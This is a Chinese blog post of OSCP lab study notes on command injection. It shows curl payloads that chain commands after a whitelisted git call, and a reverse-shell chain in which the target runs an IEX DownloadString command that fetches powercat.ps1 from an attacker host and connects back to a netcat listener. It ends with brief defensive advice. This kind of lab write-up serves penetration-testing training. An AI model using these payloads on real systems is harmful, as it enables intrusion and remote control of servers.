4-8〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸命令注入漏洞 - 实践

news/2025/10/20 14:34:21/文章来源:https://www.cnblogs.com/lxjshuju/p/19152596

    郑重声明:本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。 

    点赞❤️ 关注 收藏⭐️ 评论 
    更多文章戳
Whoami!-CSDN博客

​​​​​


 现在,我们渐入佳境了,保持耐心,继续前行 ! 

' , !  


→ 信息收集

→ 漏洞检测

→ 初始立足点▸常见WEB应用攻击▸-----我们在这儿~ 

→ 权限提升

→ 横向移动

→ 报告/分析

→ 教训/修复  

目录

1 常见WEB应用攻击

1.4 命令注入漏洞

1.4.1 命令注入基础

1.4.2 寻找命令注入点

1.识别命令注入点

2.测试验证

1.4.3 继续尝试其他命令可否被注入

1.初步尝试:基础命令注入(失败)

2.巧妙绕过:利用白名单命令(成功)

3.组合攻击:串联命令执行(成功)

4.环境探测:确定执行上下文(成功)

5.攻击总结与发现

6.核心漏洞成因

1.4.4 利用命令注入获取反向Shell

1.准备攻击载荷:设置Powercat Web服务器

2.设置接收端:开启Netcat监听器

3.构造命令:让目标去下载Powercat脚本并执行

4.执行攻击:URL编码并注入

5.验证攻击结果

6.防御建议

创作不易求一波暴击点赞❤️ 关注 收藏⭐️ 评论


1 常见WEB应用攻击

      Web开发是当前IT领域需求最高的技能之一,然而多种安全漏洞在各类Web应用程序中反复出现。无论使用何种技术栈,这些常见漏洞都可能存在于已部署的应用程序中。主要攻击类型包括:

  • 目录遍历 - 通过操纵文件路径访问未授权资源

  • 文件包含漏洞 - 包含恶意文件执行代码

  • ⬆️ 文件上传攻击漏洞 - 上传恶意文件获取系统访问权

  • ⚡ 命令注入 - 在输入中注入系统命令执行---(本文)


1.4 命令注入漏洞

        命令注入漏洞是Web应用程序中一种严重的安全威胁,允许攻击者通过应用程序执行未经授权的操作系统命令。

1.4.1 命令注入基础

Web应用程序通常需要与底层操作系统交互,主要有两种方式:

交互方式安全性开发复杂度适用场景
️ 预定义API高安全性高(需大量开发时间)稳定、标准化的操作
⚡ 直接用户输入风险较高较低需要灵活性的场景

交互机制对比

1. 通过预定义API交互

  • ✅ 安全性高:行为固定,用户输入无法直接改变底层操作

  • ✅ 稳定性强:经过严格设计和测试

  • ⚠️ 开发成本高:需要大量时间规划和开发

2. 直接接受用户输入

  • ⚠️ 风险较高:需要严格的输入验证和过滤

  • ✅ 灵活性好:能够应对各种复杂场景

  •  必须进行净化处理:防止恶意输入影响系统安全,例如:

禁止文件名中出现 ../ 或 `、&` 等特殊字符。
将文件名中的 < 转义为 &lt;,或将空格转换为下划线 _

1.4.2 寻找命令注入点

实战演示:Mountain Vaults应用程序

  • 系统:MOUNTAIN系统

  • 端口:8000

  • 应用:"Mountain Vaults" Web应用程序

  • 访问地址http://192.168.50.189:8000

漏洞发现过程

1.识别命令注入点

应用程序提供git克隆功能,用户可输入git clone命令,如上图:

git clone [repository_url]
2.测试验证
  • 操作:尝试克隆ExploitDB存储库

  • 方法:通过应用程序表单输入命令

  • 结果:成功开始克隆过程

渗透测试分析

Burp Suite抓包分析

阶段关键发现安全影响
请求分析使用POST请求,输入框的命令通过archive参数传递⭐⭐⭐⭐⭐
响应分析响应内容与Web页面一致,显示命令执行结果⭐⭐⭐⭐

关键发现总结

  • 注入点archive参数是命令输入点

  • 执行机制:操作系统直接执行输入的字符串

  • 回显机制:响应数据展示命令执行结果

⚠️ 安全风险等级评估

风险因素等级说明
直接系统命令执行 严重可完全控制系统
输入验证缺失 严重无有效过滤机制
结果直接回显 中等便于攻击者验证
综合风险等级 严重需要立即修复

1.4.3 继续尝试其他命令可否被注入

【思路】既然“git clone...”作为“Archive”的参数被服务器执行。那么,尝试使用curl注入诸如ipconfig、ifconfig和hostname等任意命令看是否被执行以探测此处的执行权限。

     我们现在到Burp的HTTP历史记录,以了解POST请求的正确结构:Archive=命令参数

攻击步骤详解

1.初步尝试:基础命令注入(失败)

首先尝试执行一个简单的系统命令 ipconfig 来探测漏洞。

$ curl -X POST --data 'Archive=ipconfig' http://192.168.50.189:8000/archive

     // -X参数:请求类型更改为POST;

     // --data:指定在POST请求中发送的数据。

  • 结果: 命令注入被拒绝、中止

  • 结论: 目标存在基础防御机制,直接注入系统命令行不通。

关键发现: 应用程序有命令过滤器,但需要找到其弱点。

2.巧妙绕过:利用白名单命令(成功)

    由于之前 git clone 命令成功执行,攻击者推测 git 本身可能是一个被允许的“白名单”命令。

  • 结果: 成功返回了 git 命令的帮助页面

  • 结论: 确认 git 命令可以被执行,这成为了后续攻击的“跳板命令”。

为了进一步获取系统信息,尝试执行:

  • 结果: 从输出中看到 “Windows” 。(若Web程序在Linux上运行,只会显示Git的版本。)

  • 结论: 确认Web应用程序运行在Windows操作系统上

3.组合攻击:串联命令执行(成功)

【思路】现在我们使用试错的方法来不断探索过滤器并查看允许的内容。既然git 命令可被执行,使用命令分隔符允许的 git 命令和我们想执行的任意系统命令组合起来。

  • 攻击载荷: git; ipconfig

  • URL编码后: git%3Bipconfig

  • 结果: 两个命令都成功执行了! 既显示了git帮助,也返回了ipconfig的网络信息。

攻击逻辑流程图:

4.环境探测:确定执行上下文(成功)

为了更精确地实施攻击,需要知道命令在什么环境中执行(是CMD 或 PowerShell?)。

  • 攻击载荷1: git; echo "Powershell:$PSVersionTable" (这是一个用于判断PowerShell环境的命令)

  • URL编码后: git%3Becho%20%22Powershell%3A%24PSVersionTable%22

curl -X POST --data 'Archive=git%3Becho%20%22Powershell%3A%24PSVersionTable%22' http://192.168.50.189:8000/archive

或者,

  • 攻击载荷2: (dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell (这是一个用于判断当前的执行环境是cmd还是PowerShell的命令)

  • URL编码后: 
    git%3B(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20P
    owerShell'

    curl -X POST --data
    'Archive=git%3B(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20P
    owerShell' http://192.168.50.189:8000/archive
  • 结果: 输出中结果是“cmd”还是 “PowerShell” 。

  • 结论: 确认注入的命令在PowerShell环境中执行

5.攻击总结与发现
步骤操作命令/载荷结果关键发现
1基础探测ipconfig❌ 失败存在基础过滤器
2白名单利用git✅ 成功git是跳板命令
3系统识别git version✅ 成功系统为Windows
4命令串联git; ipconfig✅ 成功分隔符;可绕过过滤
5环境识别git; echo ...✅ 成功执行环境为PowerShell
6.核心漏洞成因

      该Web应用的命令注入过滤器存在逻辑缺陷。它可能采用了简单的“白名单”策略,允许包含 git 的指令通过,但未能有效过滤命令分隔符(如 ;&&&,导致攻击者可以将恶意系统命令“挂载”在合法的 git 命令之后执行。

防御建议

  • 永远不要通过拼接字符串的方式构建系统命令。

  • 如果必须执行命令,应使用严格的、预定义的参数映射,而非直接传递用户输入。

  • 使用经过安全审核的API来替代系统命令的执行。


1.4.4 利用命令注入获取反向Shell

        在确认存在命令注入漏洞并了解其执行环境后,攻击进入利用阶段,目标是获取一个交互式的反向Shell,从而完全控制目标系统。

攻击环境配置:

  • 攻击者IP: 192.168.119.3 (Kali Linux)

  • 目标URL: http://192.168.50.189:8000/archive

  • 工具: Powercat (PowerShell版的Netcat)、Netcat、Python HTTP服务器

完整攻击链可视化:

1.准备攻击载荷:设置Powercat Web服务器

在Kali的第二个终端中,启动一个HTTP服务器来托管Powercat脚本:

目的: 创建一个让目标系统能够下载Powercat脚本的渠道。

使用Powercat脚本创建一个反向shell。Powercat是Kali中包含的Netcat的PowerShell实现。

# 将powercat.ps1复制到当前目录(如需要)
kali@kali:~$ cp /usr/share/powershellempire/empire/server/data/module_source/management/powercat.ps1 .
# 启动Python HTTP服务器
kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
2.设置接收端:开启Netcat监听器

在Kali的第三个终端中,开启一个Netcat监听器,等待反向连接:

kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
  • -n: 不进行DNS解析

  • -v: 详细输出

  • -l: 监听模式

  • -p 4444: 指定监听端口

关键点: 这个监听器将作为"接收端",等待目标系统主动连接回来。

3.构造命令:让目标去下载Powercat脚本并执行

利用已发现的命令注入漏洞,构造一个能下载并执行反向Shell的命令:

原始PowerShell命令:以下命令是在目标服务器上执行。

git; IEX (New-Object
System.Net.Webclient).DownloadString("http://192.168.119.3/powercat.ps1");powercat -c
192.168.119.3 -p 4444 -e powershell
命令分解说明:
组件功能说明
git;绕过过滤器利用白名单命令通过初步检测
IEX(New-Object System.Net.WebClient).DownloadString("http://192.168.119.3/powercat.ps1");下载攻击载荷从攻击者服务器(http://192.168.119.3/powercat.ps1)下载Powercat脚本到内存并执行
powercat -c 192.168.119.3 -p 4444 -e powershell建立反向连接连接到攻击者的监听端口,提供PowerShell会话

详细说明:

组件类型功能描述备注
IEXPowerShell cmdletInvoke-Expression - 执行字符串中的PowerShell代码 高危命令:直接执行任意代码
New-Object System.Net.WebClient.NET类实例化创建一个WebClient 对象,用于从Web下载内容提供HTTP/FTP下载能力
.DownloadString()方法调用从指定URL下载文本内容(返回字符串)将远程脚本加载到内存中
"http://192.168.119.3/powercat.ps1"URL参数攻击者控制的Powercat脚本地址包含反向Shell功能的PS1文件
powercat主命令-Netcat的PowerShell实现,专门用于网络操作
-c客户端模式192.168.119.3指定要连接的攻击者IP地址
-p端口号4444指定攻击者监听的端口号
-e执行程序powershell指定连接成功后要启动的程序(这里是PowerShell)

连接建立过程:

  • Powercat作为客户端连接到指定IP和端口(攻击者的)

  • 在连接上启动PowerShell进程(目标服务器上)

  • 将PowerShell的输入/输出重定向到网络连接

  • 攻击者获得交互式PowerShell会话

4.执行攻击:URL编码并注入

对攻击命令进行URL编码后通过curl发送:

kali@kali:~$ curl -X POST --data 'Archive=git%3BIEX%20(NewObject%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.119.3%2Fpowercat
.ps1%22)%3Bpowercat%20-c%20192.168.119.3%20-p%204444%20-e%20powershell'
http://192.168.50.189:8000/archive
5.验证攻击结果

在第二个终端(Web服务器)中:powercat.ps1脚本被目标服务器下载。

✅ 确认: 目标系统成功下载了powercat.ps1文件

在第三个终端(Netcat监听器)中:

✅ 确认: 成功获得反向Shell,现在可以在目标系统上执行任意命令。

此外,也可以直接注入PowerShell反向shell,而不是使用Powercat,有许多方法可以利用命令注入漏洞。

替代攻击方法:

  • 直接使用PowerShell内置命令建立反向Shell

  • 使用其他脚本语言(如Python、PHP)如果环境支持

  • 上传Web Shell文件实现持久化访问

6.防御建议
  • 实施严格的输入验证和命令白名单

  • 禁用不必要的PowerShell执行权限

  • 配置网络防火墙限制出站连接

  • 使用Web应用防火墙(WAF)检测命令注入模式

  • 定期进行安全代码审计和渗透测试


创作不易求一波暴击点赞❤️ 关注 收藏⭐️ 评论

您的支持是我创作最大的动力!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/941204.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025年项目管理工具生态全景:技术主权与AI赋能的行业变革

2025年项目管理工具生态全景:技术主权与AI赋能的行业变革 随着生成式AI、量子计算与混合现实技术的迅猛发展,全球项目管理工具市场正在经历前所未有的结构性变革。这场由技术驱动的产业升级不仅重塑了工作协同方式,…

sqlalchemy 密码@ 处理, 以及ssl连接处理

from grant.sql_connection import tellus_conn from sqlalchemy import text, create_engine import pandas as pd from urllib.parse import quote_pluspassword = "123z@W2823in" encoded_password = quo…

el-dialog 嵌套遮罩灰色问题

<el-dialog> 嵌套遮罩灰色问题1 说明在一个<el-dialog> 里面打开另外一个<el-dialog> ,发现新打开的是灰色的,需要点一下才正常2 处理在两个<el-dialog> 都加上以下属性:append-to-body=&qu…

Microsoft 代理框架简介(预览版):让每个开发人员都能轻松使用 AI 代理

Microsoft 代理框架简介(预览版):让每个开发人员都能轻松使用 AI 代理 引言 人工智能代理(AI Agents)正逐渐成为现代软件开发的重要组成部分,它们能够结合推理、上下文和工具来追求特定目标。然而,许多开发人员…

winform连接锐浪GridReport打印示例

using grproLib; using LRTMS.Common; using LRTMS.DB; using LRTMS.Report; using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using Syste…

2025 年破碎机厂家最新推荐榜,聚焦企业技术实力与市场口碑深度解析圆锥/辊式/对辊/煤矸石/砂石破碎机厂家推荐

引言在矿山开发、冶金加工、建材生产等核心领域,破碎机作为关键生产装备,其性能与品质直接决定项目生产效率、资源利用率及综合成本。当前市场上破碎机品牌数量繁杂,部分厂商缺乏核心技术支撑,设备运行稳定性差、故…

AI 的能源危机:训练一个模型究竟要耗掉多少电?

💬一、前言:AI 在变聪明,地球却在“变热” ChatGPT、Claude、Gemini、Mistral……一个比一个聪明。但你可能没想到——每当它们“开窍”一次,地球的电表也要疯狂转上几圈。 有研究估计:训练 GPT-4 级别的大模型,…

2025 年制砂机厂家最新推荐榜,聚焦企业技术实力与市场口碑深度解析高效/冲击式/砂石/新疆制砂机厂家推荐

引言 当前矿山开发、建筑建材等领域对制砂机需求持续增长,但市场品牌繁杂,部分产品存在技术落后、环保不达标、售后缺失等问题,企业选购时常面临设备适配难、后期保障不足的困境。为帮助企业精准筛选优质制砂机品牌…

拆解3D Gaussian Splatting:原理框架、实战 demo 与自驾仿真落地探索!

3D场景重建卡在哪儿?建模以月计、数据难复用、仿真不逼真! 看3DGS技术如何破局!从原理拆解到实战演练,揭秘如何用“3D色块”实现日级高保真重建,打通从真实世界到数字仿真的快车道!01 引言 当前,三维重建技术正…

Hyper-V 与 root的Android7模拟器共存

下载安装Android Studio 安装Android7android-24\default\x86Rootemulator -avd Phone -writable-system -selinux permissive abd root abd remount adb install SuperSU/common/Superuser.apk adb push SuperSU/x86/…

基于深度学习的CT扫描图像肝脏肿瘤智能检测与分析系统【python源码+Pyqt5界面+数据集+训练代码】 - 实践

基于深度学习的CT扫描图像肝脏肿瘤智能检测与分析系统【python源码+Pyqt5界面+数据集+训练代码】 - 实践2025-10-20 14:16 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: nor…

resend 单次发送命令

Invoke-WebRequest -Uri "https://api.resend.com/emails" `-Method Post `-Headers @{"Authorization" = "Bearer re_"} `-ContentType "application/json; charset=utf-8" …

视频监控界的“万能翻译器”:视频汇聚平台EasyCVR视频接入功能全解读

在数字化转型浪潮中,企业、政府单位常常面临一个共同的痛点:海量的监控设备品牌不一、协议各异,形成了众多的“信息孤岛”。如何将这些分散的、异构的视频资源进行统一汇聚、管理和应用?本文将深入解析EasyCVR视频…

PCIe 全高/半高,全长/半长 尺寸介绍 - ENGINEER

PCIe 全高/半高,全长/半长 尺寸介绍PCIe 全高全长尺寸​维度上限高度 H​111.15 mm​长度 L​312.00 mm​以上为业界常用的 PCIe 板卡尺寸上限,适用于标注为“全高全长(FHFL)”的扩展卡;不同厂商成品可能因散热器…

Android脱壳

已root的Android 7 安装Xposed鸭, FDex2, 待脱壳应用 使用FDex获得dex文件 dex转jar: d2j-dex2jar.bat a.dex, 会生成a-dex2jar.jar java -jar jd-gui-1.6.6.jar可选Save All Sources或将jar文件解压后针对单独文件夹压…

Linux框架编程:线程控制

Linux框架编程:线程控制pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", &q…

基于Ubuntu22.04 部署Dify详细教程

没有前言,直接开搞:检查是否安装过docker,没安装需要先安装docker环境。 检查docker版本 docker--versiondocker-compose--version我本地已经安装了,如果没安装,需要自行安装: sudo apt-getupdate&&sudo…

iOS 混淆工具链实战 多工具组合完成 IPA 混淆与加固(iOS混淆|IPA加固|无源码加固|App 防反编译)

工程化 iOS 混淆方案:结合 MobSF/class-dump 静态扫描、Swift Shield 源码混淆、Ipa Guard 成品混淆、Fastlane/Jenkins 自动化与 Frida 动态验证,映射表用 KMS 管理,形成可复现、可审计、可回滚的 IPA 加固闭环,适…

WebSocket Turbo Intruder:挖掘WebSocket安全漏洞的利器

本文深入介绍WebSocket Turbo Intruder工具,这是一款专为WebSocket协议安全测试设计的Burp Suite扩展。文章详细解析了工具的核心功能、使用方法、漏洞利用技巧,包括服务器端原型污染、竞态条件和拒绝服务攻击等高级…